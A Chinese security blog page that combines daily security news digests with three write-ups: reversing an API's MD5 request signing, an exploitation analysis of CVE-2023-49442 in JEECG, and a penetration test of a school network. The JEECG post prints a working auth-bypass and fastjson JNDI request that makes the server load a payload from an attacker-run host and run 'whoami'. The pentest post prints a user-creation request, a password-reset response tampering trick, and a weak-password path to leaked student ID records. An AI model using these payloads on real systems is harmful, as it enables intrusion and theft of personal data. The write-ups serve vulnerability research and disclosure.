[实战]API防护破解之签名验签
前言: 传统的接口在传输的过程中,是非常容易被抓包进行篡改,从而进行中间人攻击。 这时候我们可以通过对参数进行签名验证,如果参数与签名值不匹配,则请求不通过,直接返回错误信息,从而防止黑客攻击或者大大增加了黑客攻击的成本。 白帽子在挖洞的时候也经常会遇到这种情况,大多数不会逆向的白帽子则会放弃这些有着攻击成本的接口。大多数也会有这样子的想法,这些个接口都加了防护了,说明厂商对这个接口挺重视的,肯定做了安全检测,自然是不可能有洞可捡了。反过来想,厂商正是因为加了防护从而对代码疏忽了,所以这些地方恰好就是挖逻辑漏洞的突破口。 平台:aHR0cHM6Ly93d3cudnVsYm94LmNvbS8= 厂商:某企业src 正文: 开局一个搜索框 输入值抓包,接口携带了一个sign参数。 技巧 此处有两种方法逆向找出对应的加密点 第一种是笨方法,直接搜索对应的sign值去找到其加密的关键位置。 第二种是找到发包的地方,一直跟栈到明文加密的地方。 搜索sign,网站里面出现了很多sign关键词,不利于我们进行逆向分析 从查看请求发起的相关进程(脚本)去进行发包跟栈 进入发包的地方打断点。 回溯跟栈,找找有没有比较显眼的关键词。 大概跟了几个栈找到了sign关键词,但是并不确定这个地方的sign参数是不是我们发包的那个sign参数,打下断点盲测一下。 再次发包的时候,断点断住了。这个sign参数是一个f对象的一个函数,并不是一个sign参数值。而我们想要找到的是sign参数值,经过猜测,这个断点能够在携带sign参数的那个发包时断住,就肯定与sign参数有关。直接进入函数内部查看。 映入眼帘的是一个f函数,将断点断到返回值的地方,查看一下返回值是什么呢。 在控制台打印一下返回值。很眼熟,很像我们发包的时候携带的参数 分析一下f函数,看看sign参数在哪里生成的。 sign是在5790行被赋值的。 可以看出sign参数是appSignKey,keyword,noncestr,serverTimestamp,source,timestamp拼接之后传进了s函数生成的。除了appSignKey是代码生成的,其余都是发包里面携带的明文。 appSignKey参数 从f函数里面代码可以分析出,appSignKey是由n赋值的,n又是由c经过一段三元表达式生成的。c是一段字符串,直接上手扣代码。 生成n的三元表达式用到了arguments,直接到浏览器复制arguments var c = "10f6cf80184377cd5487b4746a8a67da17540449fa40b408f13ccdd3d3059cb394c0e1569043eed2" arguments = { "0": {   "keyword": "A型胸腺瘤",   "source": 1,   "serverTimestamp": 1706072080923 }, "1": "4bTogwpz7RzNO2VTFtW7zcfRkAE97ox6ZSgcQi7FgYdqrHqKB7aGqEZ4o7yssa2aEXoV3bQwh12FFgVNlpyYk2Yjm9d2EZGeGu3" } var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : c console.log("appSignKey--->"+n)ole.log(n) sign参数 有了appSignKey参数,就可以与发包参数拼接传进s函数。 appSignKey=4bTogwpz7RzNO2VTFtW7zcfRkAE97ox6ZSgcQi7FgYdqrHqKB7aGqEZ4o7yssa2aEXoV3bQwh12FFgVNlpyYk2Yjm9d2EZGeGu3&keyword=A型胸腺瘤&noncestr=20565646&serverTimestamp=1706072080923&source=1&timestamp=1706081268690 看一眼就知道是md5加密,完结撒花。 结尾: 部分数据代码已做脱敏处理。
网络安全日报 2024年03月13日
1、黑客利用Dropbox发送钓鱼邮件植入恶意软件 https://darktrace.com/blog/legitimate-services-malicious-intentions-getting-the-drop-on-phishing-attacks-abusing-dropbox 研究人员最近观察到,攻击者在针对一名客户的钓鱼攻击中恶意利用了Dropbox。在一月份,攻击者通过发送包含恶意链接的钓鱼邮件,来自合法的Dropbox地址,进而威胁到了该客户的软件即服务(SaaS)环境。虽然邮件来源和Dropbox链接看似合法,但研究人员发现一个红旗信号:PDF文件中含有一个指向“mmv-security[.]top”域的链接,而这个域 2、BianLian组织利用TeamCity漏洞发动勒索软件攻击 https://www.guidepointsecurity.com/blog/bianlian-gos-for-powershell-after-teamcity-exploitation/ BianLian勒索软件团伙最近被发现在攻击中利用了JetBrains TeamCity软件的多个漏洞。研究人员在调查一起与BianLian勒索软件团伙有关的攻击时发现,攻击者通过利用TeamCity服务器中的漏洞(CVE-2024-27198或CVE-2023-42793)获取了对目标环境的初始访问权。自2022年8月份BianLian勒索软件出现以来,该恶意软件已被用于针对制造业、媒体和娱乐业以及 3、EquiLend警告员工数据在勒索软件攻击中被盗 https://www.mass.gov/doc/assigned-data-breach-number-2024-459-equilend-holdings-llc/download 纽约证券借贷平台EquiLend Holdings在给员工发送的数据泄露通知信中确认,他们的数据在一月份的勒索软件攻击中被盗。为了控制这次安全漏洞,该公司不得不在1月22日将部分系统离线。虽然EquiLend没有立即透露事件的性质,但LockBit勒索软件在接受彭博社采访时声称对此次攻击负责。尽管这家金融技术公司并没有证实LockBit的说法,但它在2月2日通过一个专门用于分享有关次事件更多信息的页面透露,一 4、Earth Kapre黑客使用武器化ISO和IMG文件攻击组织 https://www.anquanke.com/post/id/293815 臭名昭著的黑客组织 Earth Kapre(也称为 RedCurl 和 Red Wolf)一直利用武器化的ISO 和 IMG 文件瞄准全球各地的组织。 5、微软2024年 3月星期二安全更新修复了 59 个漏洞 https://securityaffairs.com/160412/security/microsoft-patch-tuesday-march-2024.html Microsoft 2024 年 3 月的星期二补丁安全更新解决了其产品中的 59 个安全漏洞,其中包括 RCE 漏洞。 6、一名韩国公民因网络间谍罪在俄罗斯被拘留 https://thehackernews.com/2024/03/south-korean-citizen-detained-in-russia.html 俄罗斯首次以网络间谍罪名拘留一名韩国公民,并将其从符拉迪沃斯托克转移至莫斯科接受进一步调查。 7、在野外观察到针对企业的新 DoNex 勒索软件 https://cyware.com/cyber-security-news-articles DoNex 勒索软件正积极针对美国和欧洲的公司,采用双重勒索方法来劫持文件和敏感数据。 8、Tuta Mail 添加新的抗量子加密技术来保护电子邮件 https://www.bleepingcomputer.com/news/security/tuta-mail-adds-new-quantum-resistant-encryption-to-protect-email/ Tuta Mail 推出了 TutaCrypt,这是一种新的后量子加密协议,可保护通信免受预期的解密攻击,从而针对未来的威胁提供强有力的保护。 9、黑客IntelBroker宣称攻破美国联邦承包商Acuity系统 https://www.hackread.com/hacker-breach-federal-contractor-acuity-ice-uscis-data/ 这次安全漏洞导致两个美国政府重要机构——美国移民和海关执法局(ICE)和美国公民及移民服务局(USCIS)的敏感数据和文件被盗。 10、新的 xStealer 恶意软件首次亮相,具有高级功能 https://www.anquanke.com/post/id/293757 该恶意软件背后的开发人员承诺不断更新,确保其保持最新、最先进的窃取技术。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月12日
1、黑客冒充美国政府机构进行BEC攻击 https://www.proofpoint.com/us/blog/threat-insight/ta4903-actor-spoofs-us-government-small-businesses-phishing-bec-bids 近日,一伙专门从事商业电子邮件妥协(BEC)攻击的黑客团伙,代号为TA4903,被发现冒充各种美国政府实体,以诱使目标打开含有虚假招标过程链接的恶意文件。这些攻击活动旨在诱骗受害者点击链接,进而窃取其凭证信息。TA4903团伙此前已被观察到使用类似的攻击策略,他们通过发送大量伪装成来自美国政府部门和私营企业的电子邮件,试图盗取受害者的企业凭证。这些攻击行为表 2、Progress软件OpenEdge漏洞可绕过认证 https://www.horizon3.ai/attack-research/cve-2024-1403-progress-openedge-authentication-bypass-deep-dive/ 近日,Progress Software OpenEdge的重大安全漏洞被曝光,并且相关技术细节和概念验证(PoC)漏洞利用代码已公开。该漏洞标识为CVE-2024-1403,CVSS评分系统中的严重程度为最高等级10.0。受影响的OpenEdge版本包括11.7.18及更早版本、12.2.13及更早版本以及12.8.0版本。该漏洞出现在开启了OS本地身份验证提供者的OpenEdge 3、思科针对SecureClient中的高危VPN劫持漏洞发布补丁 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-secure-client-crlf-W43V4G7 思科已为其Secure Client软件中的一个高危安全漏洞发布了补丁,该漏洞可能被恶意攻击者利用以开启与目标用户的VPN会话。这一漏洞被追踪为CVE-2024-20337,具有8.2的CVSS评分,它允许未经身份验证的远程攻击者对用户进行回车换行(CRLF)注入攻击。由于对用户提供的输入校验不足,攻击者可能利用此漏洞诱使用户在建立VPN会话时点击一个特制的链接。如果 4、Fortinet严重缺陷可能影响150000个公网设备 https://www.bleepingcomputer.com/news/security/critical-fortinet-flaw-may-impact-150-000-exposed-devices/ 网络上的扫描显示,大约150000台Fortinet的FortiOS和FortiProxy安全网关系统易受CVE-2024-21762严重安全漏洞的威胁,该漏洞允许未经认证执行代码。上月,美国网络防御机构CISA确认,攻击者正积极利用该漏洞,并将其添加到已知被利用漏洞(KEV)目录中。几乎在Fortinet解决CVE-2024-21762漏洞一个月后,研究人员宣布,他们发现了近15万 5、QNAP警告其NAS设备存在严重身份验证绕过漏洞 https://www.qnap.com/en/security-advisory/qsa-24-09 QNAP近日警告其NAS软件产品中的漏洞,包括QTS、QuTS hero、QuTScloud 和 myQNAPcloud,这些漏洞可能允许攻击者访问设备。网络附加存储(NAS)设备制造商披露了三个可以导致认证绕过、命令注入和SQL注入的漏洞。虽然后两个漏洞要求攻击者在目标系统上通过认证,显著降低了风险,但第一个(CVE-2024-21899)可以在不需要认证的情况下远程执行,并被标记为“低复杂度”。 6、黑客声称入侵美国联邦承包商Acuity并出售数据 https://www.hackread.com/hacker-breach-federal-contractor-acuity-ice-uscis-data/ 黑客IntelBroker声称已经入侵了美国联邦承包商Acuity,并且正在出售属于美国移民和海关执法局(ICE)及美国公民及移民服务局(USCIS)的数据。据报道,黑客IntelBroker在黑客论坛上发帖,声明他负责最近一起针对位于弗吉尼亚州雷斯顿的联邦承包商Acuity Inc.的数据泄露。泄露导致来自两个著名美国政府实体的敏感数据和文件被盗。目前这些被盗数据正在该论坛上以3000美元的门罗币(XMR)价格出售。在黑客论坛上宣 7、WordPress站点遭受分布式暴力破解攻击 https://blog.sucuri.net/2024/03/from-web3-drainer-to-distributed-wordpress-brute-force-attack.html 研究人员的新发现显示,威胁行为者正在利用恶意JavaScript注入对WordPress网站进行暴力破解攻击。该活动是先前记录的攻击浪潮的一部分,其中受感染的WordPress网站被用来直接注入AngelDrainer等加密货币排水器,或将网站访问者重定向到包含排水器恶意软件的Web3网络钓鱼网站。最新的迭代值得注意的是,迄今为止在700多个网站上发现的注入不会加载排水器,而是使用常见和泄露的密码 8、思科:超15国多行业遭GhostLocker双重勒索攻击 https://www.secrss.com/articles/64243 技术、教育、制造、政府、交通、能源、法医、房地产和电信等一些行业遭受了严重影响。 9、Midjourney封禁Stability AI:恶意爬取数据致服务器瘫痪24小时 https://www.secrss.com/articles/64218 Midjourney 把 Stability AI 拉入黑名单了,禁止后者所有员工使用其软件,直至另行通知。 10、法国政府机构遭受大规模网络攻击 https://securityaffairs.com/160374/hacking/massive-cyberattacks-hit-french-government-agencies.html 法国总理加布里埃尔·阿塔尔办公室 3 月 11 日星期一表示,“法国多个国家机构遭受了‘前所未有的强度’的网络攻击,同时坚称政府已经能够控制影响。” 法国《世界报》报道。阿塔尔办公室表示,从周日开始,“许多部长级服务都受到了攻击,使用了熟悉的技术手段,但强度空前”,但没有提供目标的进一步细节。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
CVE-2023-49442 利用分析
1. 漏洞介绍 JEECG(J2EE Code Generation)是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg官方地址为:https://gitee.com/jeecg/jeecg 2. 漏洞流程图分析 3. 环境搭建 由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven搭建,但是始终飘红报错,于是老老实实地按照官方文档使用eclipse+Maven环境搭建,我的本地配置如下: 官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933 最新版eclipse apache-maven-3.1.1-bin JDK1.8_102(这里有个坑就是jdk1.8不能与tomcat6兼容,我们运行时候要使用tomcat7:run的命令) Mysql5.7 Kali虚拟机(充当vps的功能) 4. 漏洞详情分析 由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31,是属于存在漏洞的版本。 感觉Eclipse审计起来不太方便,我使用IDEA来代替使用来审计。 现在我们已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。 在审计Fastjson漏洞的时候我们着重关注parseObject和parse这两个关键词。我们在IDEA中按下Ctrl+shift+f进行查找: 发现调用了JSONObject.parseObject(result),发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java文件中进行了调用。分别是函数sendGet(String url, String param)以及sendPost(String url, String param)。 然后继续寻找在哪里调用了这两个函数: 同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中调用了这两个函数: /** * 常用示例Demo:接口测试 * @param request * @param response * @return AjaxJson */ @RequestMapping(params = "interfaceTest") @ResponseBody public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) { AjaxJson j=new AjaxJson(); try { String serverUrl = request.getParameter("serverUrl");//请求的地址 String requestBody = request.getParameter("requestBody");//请求的参数 String requestMethod = request.getParameter("requestMethod");//请求的方式 if(requestMethod.equals("POST")){ if(requestBody !=""){ logger.info("----请求接口开始-----"); JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody); logger.info("----请求接口结束-----"+sendPost); j.setSuccess(true); j.setObj(sendPost.toJSONString()); }else{ j.setSuccess(false); j.setObj("请填写请求参数"); } } if(requestMethod.equals("GET")){  logger.info("----请求接口开始-----");  JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);  logger.info("----请求接口结束-----"+sendGet.toJSONString());  j.setSuccess(true);  j.setObj(sendGet); } } catch (Exception e) { j.setSuccess(false); j.setObj("服务器请求失败"); e.printStackTrace(); } return j; } 这段代码接受三个参数:serverUrl、requestBody、requestMethod。然后根据requestMethod的值决定调用不同的方法:HttpRequest.sendPost 或 HttpRequest.sendGet。 我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass: 然后我们根据漏洞简介定位/api未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java 也就是说对于以 /api/ 开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。 加上我们查看引用的Maven依赖中的alwaysUseFullPath为值默认false,这样的话程序在处理发包中会对uri进行标准化处理。于是我们就可以使用/api/../的方式来进行bypass 比如说我们的poc链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest= 然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest= 从而绕过登录限制。 然后就是针对fastjson1.2.31版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT 利用方法就是先在我们的Kali虚拟机(vps作用)上开启监听: 这里因为我的虚拟机上的java版本过高,Java 9及以上版本引入了模块化系统,其中的java.xml模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime包,因此导致com.feihong.ldap.template.TomcatEchoTemplate类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc. java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131 然后用python公开一个poc.txt 然后直接调用该接口使用下面的Poc即可: POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1 Host: 127.0.0.1:8081 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded cmd: whoami serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET 5. 总结 一开始准备复现这个漏洞是以为JEECG-BOOT爆这么大的前台RCE漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,主要是老版本的环境Debug问题,通过本漏洞的复现学习,对fastjson漏洞和alwaysUseFullPath绕过鉴权漏洞有了更多的体会。
网络安全日报 2024年03月11日
1、Play勒索软件组泄露瑞士政府机密数据 https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2024/bericht-datenanalyse-xplain.html 瑞士IT服务提供商Xplain于2023年6月遭受了Play勒索软件团伙的网络攻击。攻击者通过利用漏洞锁定Xplain为州服务托管的服务器,要求支付赎金以换取解锁工具。波及影响包括联邦警察局、联邦海关和边境保护办公室、瑞士联邦铁路和阿尔高州政府。此外,6月瑞士联邦政府网站及瑞士联邦铁路在线门户也遭遇了DDoS攻击,数个网站因此不可访问,负责攻击的是自称为亲俄团体“NoName”。Play勒索软件团伙在其暗网 2、嵌入式PLC恶意软件威胁扩展至工控系统 https://www.ndss-symposium.org/wp-content/uploads/2024-49-paper.pdf 研究人员发表的一篇论文中指出,嵌入到工业固件中的Web服务器可能为黑客提供了一个攻击的新途径。这些Web服务器被嵌入到以往依赖串行通信协议的可编程逻辑控制器(PLC)中,是目前占据全球市场80%份额的每一家大型PLC供应商的产品。这种嵌入Web服务的便利性深刻而不可逆转地改变了工业控制系统(ICS)生态系统。攻击者可以利用嵌入式Web PLC恶意软件来伪造传感器读数、禁用安全警报、操作物理执行器,甚至造成人员伤亡等灾难性事件。传统的PLC恶意软件受固有硬件约 3、新APT组织Lotus Bane攻击越南金融机构 https://www.group-ib.com/media-center/press-releases/hi-tech-crime-trends-2023-2024/ 最近,越南金融机构遭受了一个名为Lotus Bane的新型先进持续性威胁(APT)组织的攻击。这一攻击行动于2023年3月首次被检测到,据研究人员分析,该黑客组织自2022年起即活跃于网络空间。虽然感染链的具体细节暂时未知,但攻击中使用了多种恶意工具作为后续行动的基础。研究人员表示,Lotus Bane所使用的技巧与一个名为OceanLotus(又称APT32、Canvas Cyclone、Cobalt Kitty)的与越南 4、JetBrains TeamCity漏洞遭积极利用致威胁增加 https://cyble.com/blog/jetbrains-teamcity-authentication-bypass-vulnerability-under-active-exploitation/ 根据研究人员的监测,自2024年3月5日起,JetBrains TeamCity的身份验证绕过漏洞(CVE-2024-27198和CVE-2024-27199)正遭到积极的利用。这些漏洞适用于所有2023年11月4日之前版本的TeamCity On-Premises。研究人员团队曝光了涉及漏洞的初步利用代码。受影响的路径包括但不限于/res/、/update/和/.well-known 5、俄罗斯黑客成功获取微软源代码 https://msrc.microsoft.com/blog/2024/03/update-on-microsoft-actions-following-attack-by-nation-state-actor-midnight-blizzard/ 近日,微软在其安全博客及向证券交易委员会提交的报告中宣布了一个关于网络安全的严重发现:俄罗斯黑客组织Cozy Bear(微软称之为Midnight Blizzard)不仅在去年11月通过密码喷射攻击侵入了一个非生产测试租户账号,而且在随后的行动中成功访问了公司的一些内部系统及源代码库。在这个持续的安全冲突中,微软正与这些攻击者斗争,试图将他们从 6、CISA因Ivanti安全漏洞紧急下线两系统 https://therecord.media/cisa-takes-two-systems-offline-following-ivanti-compromise 二月份,据美国网络安全与基础设施安全局(CISA)披露,黑客通过利用Ivanti产品漏洞成功侵入了其系统。CISA发现Ivanti产品中的安全漏洞被利用后,迅速采取措施下线了两个系统。CISA拒绝透露有关事件详细信息,但消息来源指出,被妥协的系统包括存储关键美国基础设施互依信息的基础设施保护门户和存放私营领域化学安全计划的化学安全评估工具。尽管没有证实这些系统是否已被下线,CISA建议各组织紧急查看其发布的有关警告,并采取高度警 7、MiTM攻击可让攻击者解锁并窃取特斯拉汽车 https://www.bleepingcomputer.com/news/security/mitm-phishing-attack-can-let-attackers-unlock-and-steal-a-tesla/ 研究人员演示了如何进行中间人(MiTM)网络钓鱼攻击,以危害Tesla帐户、解锁汽车并启动汽车。该攻击适用于最新的Tesla应用程序版本4.30.6和Tesla软件版本11.12024.2.7。作为此次攻击的一部分,研究人员注册了一个新的“电话密钥”,可用于访问Tesla。虽然研究人员使用FlipperZero执行这种网络钓鱼攻击,但也可以使用其他设备轻松完成,例如计算机 8、AnyCubic使用新固件修复了3D打印机零日漏洞 https://store.anycubic.com/blogs/news/security-issue-of-anycubic-cloud AnyCubic发布了新的Kobra2固件,以修复上个月在全球3D打印机上打印安全警告的零日漏洞。2月底,AnyCubic打印机用户开始报告称,他们的Kobra3D打印机被一项打印作业攻击,该作业警告他们的设备容易受到严重漏洞的影响。该漏洞使攻击者能够滥用公司MQTT服务API中的不安全权限向打印机发送命令。这使得攻击者能够将名为“hacked_machine_readme.gcode”的G代码文件排队,当在文本编辑器中打开该文件时,其中包含一条警告, 9、加拿大反洗钱机构因网络攻击而关闭 https://fintrac-canafe.canada.ca/new-neuf/statement-declaration-eng 加拿大金融交易和报告分析中心(FINTRAC)宣布,作为预防措施,一次“网络事件”迫使其公司系统下线。FINTRAC是加拿大的一个政府机构,作为该国的金融情报机构运作。它从事洗钱调查,每年追踪数百万笔可疑交易,并向警方披露数千起非法资金流向。该机构在其网站上发表了一份简短的新闻声明,指出该中心的情报或机密系统未被访问,因此与其核心任务相关的敏感信息和操作能力仍然安全。作为预防措施,FINTRAC已将其公司系统关闭,以确保其完整性并保护中心维护的信息。 10、超22.5万个被盗的ChatGPT凭证在暗网市场上出售 https://www.secrss.com/articles/64185 Group-IB 调查结果显示,2023 年 1 月至 10 月期间,超过 225000 个含有泄露的 OpenAI ChatGPT 凭证的日志在地下市场上售出。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
记一次某edu单位的渗透
0x01 信息收集 第一步当然是从信息收集开始,因为通常主域名基本不会含有高危漏洞。可以通过子域名->子域名端口扫描的方式去进行一个信息收集用来提高攻击面。这里是用fofa进行攻击面的扩大。(如果fofa脆弱系统较少可以自己爆破子域名+端口1-65535扫描的方式去进行渗透测试)。 然后把资产去重,可以使用关键词用来寻找一些存在漏洞概率高一些的系统。比如搜索有登录的系统,可以添加body="登录"这种关键字去进行查找。比如这里是找到了一个日志系统。 也可以通过googlehack进行搜索学号,身份证之类的信息。可以通过学号身份证这些信息用来登录某些系统,大部分的学校系统的口令格式是学号/身份证后6位。(这里随便找一个案例) 0x02 命令执行 可以根据通用系统的历史漏洞去对该系统进行渗透测试。 首先尝试默认口令进行登录 admin/panabit 未果。 然后建议百度搜索时间设置为一年内,可以省不少时间实际测试感觉一年之前的漏洞修复概率比较高。(可能是一年一次hvv的原因?) 也可以用微信的公众号搜索,比较推荐,因为准确率比较高,都是一些新出的漏洞。 然后使用任意用户创建漏洞添加一个用户 POST /singleuser_action.php HTTP/1.1 Host: xxxx Cookie: xxxx Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="92" Accept: */* X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: xxxx Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 574 { "syncInfo": { "user": { "userId": "001", "userName": "001", "employeeId": "001", "departmentId": "001", "departmentName": "001", "coporationId": "001", "corporationName": "001", "userSex": "1", "userDuty": "001", "userBirthday": "001", "userPost": "001", "userPostCode": "001", "userAlias": "001", "userRank": "001", "userPhone": "001", "userHomeAddress": "001", "userMobilePhone": "001", "userMailAddress": "001", "userMSN": "001", "userNt": "001", "userCA": "001", "userPwd": "001", "userClass": "001", "parentId": "001", "bxlx": "001" },"operationType": "ADD_USER" } } 成功登录后台 然后使用后台命令执行进行getshell,成功进入内网。系统维护->终端命令 0x03 内网渗透 首先使用fscan扫描一波内网。 其中有个ftp弱口令,这里stuinfo.sql可能是某个数据库的备份文件。根据名字猜测是学生信息的备份。 下载之后导入本地数据库打开,果然泄露了一堆身份证,学号这些信息。 之后还在另外一个back文件夹中发现了另外一个xls表格, ssh弱口令一堆,随便 h3c默认密码登录 0x04 任意密码找回 这里是另外一个外网系统。因为内网属实是没啥东西所以又得重新去外网找找有没有其他漏洞。 确定存在用户,输入用户名会发送一个包,不存在用户返回0,存在返回1 点击忘记密码,随便输入密保问题跟答案。 Burp抓包,将验证返回包中的false改为true。 然后就发现跳转到了修改密码的页面 这时直接修改一波密码,ok成功登录 0x05 总结 主要内网的一些问题还是弱口令使用较多,而且老版本的漏洞基本不修复的问题。另外一提进行渗透测试必须获得目标单位的合法授权,并且在合规框架下进行。在任何情况下,未经授权的渗透测试行为都是违法的,可能导致严重的法律后果。因此,在进行任何安全测试之前,请务必与目标单位达成明确的协议和授权。
网络安全日报 2024年03月08日
1、新型Linux恶意软件攻击Docker和其他关键应用程序 https://www.cadosecurity.com/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence/ 近期,研究人员现了一种名为SpinningYarn的新型Linux恶意软件活动,其目标是运行ApacheHadoopYARN、Docker、Confluence和Redis面向Web服务的配置错误的服务器。SpinningYarn是一种恶意活动,利用了各行业企业使用的流行Linux软件的弱点。这些服务是组织IT基础设施中的重要组成部分。Docker对 2、GhostSec与Stourmous联手发起勒索软件攻击 https://blog.talosintelligence.com/ghostsec-ghostlocker2-ransomware/ 研究人员最新的报告指出,两个黑客团伙GhostSec和Stourmous正在联合进行一场勒索软件攻击。这场攻击利用了新的GhostLocker2.0勒索软件,该软件是GhostLocker勒索软件的Golang版本。这两个团伙启动了一个名为STMX_GhostLocker的勒索软件即服务(RaaS)运营,为其附属成员提供多种选项。这一发现表明,勒索软件攻击者正在不断创新其攻击手段,以适应不断变化的网络安全环境。GhostSec和Stourmous通过这种合 3、BlackCat勒索软件疑似复苏 https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/resurgence-of-blackcat-ransomware/ 2024年3月6日,研究人员发布了关于BlackCat勒索软件的复苏的报道。美国司法部在2023年12月19日对该组织进行了打击,但最近的观察显示,BlackCat组织在被打击后不久便卷土重来。他们在2月21日对ChangeHealthcare发起了重大攻击,ChangeHealthcare是Optum的一部分,隶属于UnitedHealthGroup。据报道,该组织声称从ChangeHealth 4、VMware发布Workstation、ESXi等关键安全补丁 https://www.vmware.com/security/advisories/VMSA-2024-0006.html 近日,VMware已发布补丁来解决影响ESXi、Workstation和Fusion的四个安全缺陷,其中包括两个可能导致代码执行的严重缺陷。这些漏洞被追踪为CVE-2024-22252和CVE-2024-22253,被描述为XHCIUSB控制器中的释放后使用错误。Workstation和Fusion的CVSS得分为9.3,ESXi系统的CVSS得分为8.4。研究人员表示,在虚拟机上拥有本地管理权限的恶意行为者可能会利用此问题在主机上运行虚拟机的VMX进程时执行代码。在 5、思科修补 VPN 产品中的高严重性漏洞 https://www.securityweek.com/cisco-patches-high-severity-vulnerabilities-in-vpn-product/ 思科周三发布了针对 Secure Client 中两个高严重性漏洞的补丁,Secure Client 是一款企业 VPN 应用程序,还包含安全和监控功能。 6、FBI发布互联网犯罪报告称2023 年网络犯罪损失达 125 亿美元 https://securityaffairs.com/160142/cyber-crime/2023-fbi-internet-crime-report.html FBI 网络犯罪投诉中心 (IC3) 发布的《2023 年网络犯罪报告》显示,2023 年报告的网络犯罪损失达到 125 亿美元。与 2022 年相比,这一数字标志着报告的损失激增 22%。 7、Snak信息窃取恶意程序通过Facebook消息传播 https://securityaffairs.com/160131/malware/snake-info-stealer.html Cybereason 研究人员警告称,威胁行为者正在利用 Facebook 消息传播 Snake 恶意软件,这是一种基于 Python 的信息窃取程序。 8、CISA 将 iOS内存破坏漏洞添加到其已知被利用的漏洞目录中 https://securityaffairs.com/160124/security/cisa-apple-ios-and-ipados-bugs-to-its-known-exploited-vulnerabilities-catalog.html 美国网络安全和基础设施安全局 (CISA) 在其已知利用漏洞 (KEV) 目录中添加了 以下漏洞 :CVE-2024-23225 和 CVE-2024-23296。 9、韩国警方开发 Deepfake 检测工具 https://www.infosecurity-magazine.com/news/south-korea-police-deepfake/ 该工具将能够在大约 5 到 10 分钟内确定视频内容是否是使用 AI 技术人工生成的。警方表示,该软件有 80% 的概率检测视频是否真实。 10、台湾省中华电信发生数据泄露事件 http://www.anquan419.com/knews/24/6662.html 台湾省当地最大的电信服务提供商中华电信股份有限公司发生数据泄露事件,目前被黑客窃取的 1.7TB 数据已出现在暗网黑客论坛中。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月07日
